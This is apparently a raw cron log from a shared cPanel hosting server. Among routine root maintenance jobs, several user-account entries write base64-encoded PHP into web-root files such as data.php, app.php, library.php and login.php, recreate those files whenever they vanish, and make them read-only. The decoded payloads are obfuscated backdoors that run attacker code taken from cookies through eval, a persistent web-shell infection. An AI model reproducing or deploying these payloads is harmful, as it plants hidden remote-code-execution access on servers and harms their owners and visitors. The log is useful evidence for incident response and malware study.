Mar  2 14:08:01 medusa CROND[17833]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:08:01 medusa CROND[17832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:08:01 medusa CROND[17835]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:08:01 medusa CROND[17838]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:08:01 medusa CROND[17839]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:08:01 medusa CROND[17837]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:09:01 medusa CROND[5180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:09:01 medusa CROND[5283]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  2 14:09:01 medusa CROND[5444]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:09:01 medusa CROND[5445]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:09:01 medusa CROND[5446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:09:01 medusa CROND[5448]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:09:01 medusa CROND[5460]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:09:01 medusa CROND[5463]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:09:01 medusa CROND[5467]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:09:01 medusa CROND[5468]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:09:01 medusa CROND[5469]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:09:01 medusa CROND[5470]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:09:02 medusa CROND[5459]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 14:10:01 medusa CROND[22059]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 14:10:01 medusa CROND[22089]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 14:10:01 medusa CROND[22093]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 14:10:01 medusa CROND[22094]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 14:10:01 medusa CROND[22095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:10:01 medusa CROND[22151]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:10:02 medusa CROND[22449]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 14:10:02 medusa CROND[22450]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 14:10:02 medusa CROND[22451]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 14:10:02 medusa CROND[22452]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 14:10:02 medusa CROND[22454]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 14:10:02 medusa CROND[22455]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 14:10:02 medusa CROND[22458]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 14:10:02 medusa CROND[22460]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:10:02 medusa CROND[22459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:10:02 medusa CROND[22471]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:10:02 medusa CROND[22473]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:10:02 medusa CROND[22474]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:10:02 medusa CROND[22475]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:10:02 medusa CROND[22486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 14:10:02 medusa CROND[22487]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
